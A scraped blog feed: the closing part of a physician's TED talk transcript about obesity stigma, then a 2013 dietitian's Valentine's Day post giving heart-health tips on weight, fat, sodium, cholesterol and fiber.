I don’t know how this journey is going to end, but this much seems clear to me, at least.We can’t keep blaming our overweight and diabetic patients like I did. Most of them actually want to do the right thing, but they have to know what that is, and it’s got to work. I dream of a day when our patients can shed their excess pounds and cure themselves of insulin resistance, because as medical professionals, we’ve shed our excess mental baggage and cured ourselves of new idea resistance sufficiently to go back to our original ideals: open minds, the courage to throw out yesterday’s ideas when they don’t appear to be working,and the understanding that scientific truth isn’t final, but constantly evolving. Staying true to that path will be better for our patients and better for science. If obesity is nothing more than a proxy for metabolic illness, what good does it do us to punish those with the proxy?

Sometimes I think back to that night in the E.R. seven years ago. I wish I could speak with that woman again. I’d like to tell her how sorry I am. I’d say, as a doctor, I delivered the best clinical care I could, but as a human being, I let you down. You didn’t need my judgment and my contempt. You needed my empathy and compassion, and above all else, you needed a doctor who was willing to consider maybe you didn’t let the system down. Maybe the system, of which I was a part, was letting you down. If you’re watching this now, I hope you can forgive me.

]]> https://skinnygeneprojectnew.dreamsites.io/ted-is-obesity-problem/feed/ 0 5 Love Languages For A Healthy Heart https://skinnygeneprojectnew.dreamsites.io/5-love-languages-for-a-healthy-heart/ https://skinnygeneprojectnew.dreamsites.io/5-love-languages-for-a-healthy-heart/#respond Wed, 13 Feb 2013 00:00:59 +0000 http://skinnygeneproject.dreamhosters.com/?p=1135 “I love you with all my heart” one term of endearment you may hear or say this Valentine’s Day.  But how healthy is your heart?   Are you doing all you can to keep your heart beating strong for your loved ones?  This Valentine’s Day show your love to your heart by speaking these five “love languages”!

1. WEIGHT – Yes, your weight plays a major role in your heart health. If your BMI is over 25 kg/m2 (that is the

Healthy Heart
photo: eatingright.org

overweight/obesity range) and/or if you have extra love around your midsection, you are at a higher risk for heart disease, including heart attack and stroke.  The good news is that you can improve your heart health by losing weight.   To achieve weight loss, try to focus on exercise, food selections, and portion sizes.

2. FAT – Of course fat plays another major role in heart health! Be alarmed if your diet is loaded with higher fat foods, specifically foods high in saturated fat from animals including beef, pork, poultry fat and whole or 2% dairy.

Guidelines: Saturated fat should be limited to 7% of your total calories, due to its contribution to increasing your blood cholesterol. Following the American Heart Association’s guidelines, a heart healthy 2,000 calorie diet should be limited to 65 grams of total fat and 15 grams of saturated fat.

3.  SODIUM– Our bodies need a little bit of sodium (a.k.a. salt), though too much sodium can raise your blood pressure – not in the heart throbbing, good loving type of way – and increase your risk of heart disease including, heart attack and stroke.

Guidelines: The average American takes in 3,800 mg of sodium per day, which is nearly 2 times the recommended intake of ~2,000 mg per day for a heart healthy diet.

Helpful Tips: To lower your sodium intake, be sure to read the labels of any food in a package, jar, or can.  These processed foods have a lot of sodium to help preserve them to sit on the shelf.  Look for foods with reduced sodium label claims, such as “Sodium-free”, “Very Low Sodium”, or “Low Sodium”.  Another route is to go for the foods without packaging, especially the lovely colorful fresh fruits and vegetables!

4. CHOLESTEROL – Increased circulating cholesterol in your bloodstream can slowly make its home on the walls of your blood vessels, narrowing those important passage ways from your heart to your brain, lungs and other important parts of your body.  Our bodies naturally make cholesterol; therefore, it is important to limit the cholesterol in our foods to keep our blood flown properly!

Helpful Tips: One of the most important foods to be aware of when limiting your cholesterol is eggs!  One egg has 213 mg Cholesterol which is enough for your entire day!  Try to substitute those eggs with a cholesterol free egg substitute, just as it claims 0 mg of cholesterol and no fat!  Double heart loving bonus!

 5. FIBER – Fabulous, functional fiber can also help keep that lovable fiber heart of yours healthy.  Specifically soluble fiber, which binds with cholesterol and then takes a lovely ride out of the body, in turn reducing your blood LDL cholesterol (that’s the “bad” one).

Helpful Tips: To maximize the benefits of soluble fiber, include fruits, such as apples, bananas, pears, plums, peaches and citrus fruits, vegetables, such as carrots, brussel sprouts, broccoli, and chick peas, whole grains, such as barley, oats, psylium, and beans in your diet.

Renew your love for your heart and commit to making these heart healthy changes!

Have questions? Please don’t hesitate to contact us, we’re here to help!

By Emily Barr, MS, RD, CNSC

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